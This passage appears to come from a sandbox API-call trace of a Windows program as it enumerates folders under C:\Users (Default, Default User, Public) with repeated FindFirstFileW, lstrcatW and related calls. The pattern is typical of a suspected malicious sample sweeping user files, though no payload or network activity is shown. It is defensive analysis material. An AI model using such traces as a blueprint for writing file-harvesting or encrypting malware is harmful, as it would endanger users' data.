returned="C:\\Users\\Default\\Pictures\\" [0148.785] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Pictures\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0148.785] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.786] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0148.786] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0148.786] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0148.786] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0148.786] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.786] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0148.786] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0148.786] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.786] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0148.786] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0148.786] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.786] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.786] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0148.786] SetErrorMode (uMode=0x1) returned 0x1 [0148.786] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0148.786] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0148.786] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\PrintHood\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0148.786] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0148.786] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.786] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0148.786] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0148.786] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0148.786] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0148.787] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.787] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0148.787] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0148.787] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.787] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.787] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0148.787] SetErrorMode (uMode=0x1) returned 0x1 [0148.787] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0148.787] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0148.787] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Recent\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0148.787] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0148.787] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.787] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0148.787] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0148.787] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0148.787] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0148.787] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.787] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0148.787] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0148.787] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.787] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.787] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0148.787] SetErrorMode (uMode=0x1) returned 0x1 [0148.787] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0148.787] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0148.787] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Saved Games\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0148.787] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0148.787] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.787] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0148.787] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0148.788] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0148.788] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0148.788] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.788] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0148.788] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0148.788] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.788] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0148.788] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0148.788] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.788] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.788] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0148.788] SetErrorMode (uMode=0x1) returned 0x1 [0148.788] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0148.788] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0148.788] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\SendTo\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0148.788] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0148.788] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.788] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0148.788] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0148.788] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0148.788] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0148.788] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.788] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0148.788] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0148.789] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0148.789] SetErrorMode (uMode=0x1) returned 0x1 [0148.789] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0148.789] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Start Menu\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0148.789] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.789] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0148.789] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0148.789] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0148.789] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.789] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0148.789] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0148.789] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0148.789] SetErrorMode (uMode=0x1) returned 0x1 [0148.789] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0148.789] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Templates\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0148.789] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.789] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0148.789] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0148.789] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0148.789] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0148.789] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.789] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0148.789] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0148.790] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.790] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.790] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0148.790] SetErrorMode (uMode=0x1) returned 0x1 [0148.790] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0148.790] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0148.790] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Videos\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0148.790] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0148.790] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.790] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0148.790] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0148.790] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0148.790] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0148.790] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.790] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0148.790] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0148.790] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0148.790] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.790] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0148.791] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.791] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0148.791] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0148.791] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0148.791] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0148.791] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0148.791] SetErrorMode (uMode=0x1) returned 0x1 [0148.791] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0148.791] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0148.791] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default User\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0148.791] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0148.791] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0148.791] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0148.791] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0148.791] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0148.791] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0148.791] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0148.791] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0148.791] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0148.791] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0148.791] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0148.791] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0148.791] SetErrorMode (uMode=0x1) returned 0x1 [0148.791] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0148.791] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0148.791] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default User\\Videos\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0148.791] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0148.791] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.791] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0148.791] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0148.792] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0148.792] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0148.792] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.792] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0148.792] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0148.792] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0148.792] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.792] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.792] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.792] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.792] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0148.792] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0148.792] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0148.792] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0148.792] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.792] SetErrorMode (uMode=0x1) returned 0x1 [0148.792] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.792] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.792] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Public\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.792] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0148.792] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0148.792] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0148.792] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0148.792] lstrlenW (lpString="desktop.ini") returned 11 [0148.793] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.793] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0148.793] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0148.793] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0148.793] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0148.793] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.793] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.793] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0148.793] SetErrorMode (uMode=0x1) returned 0x1 [0148.793] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0148.793] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0148.793] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\AccountPictures\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0148.793] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0148.793] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.793] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0148.793] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0148.793] lstrlenW (lpString="desktop.ini") returned 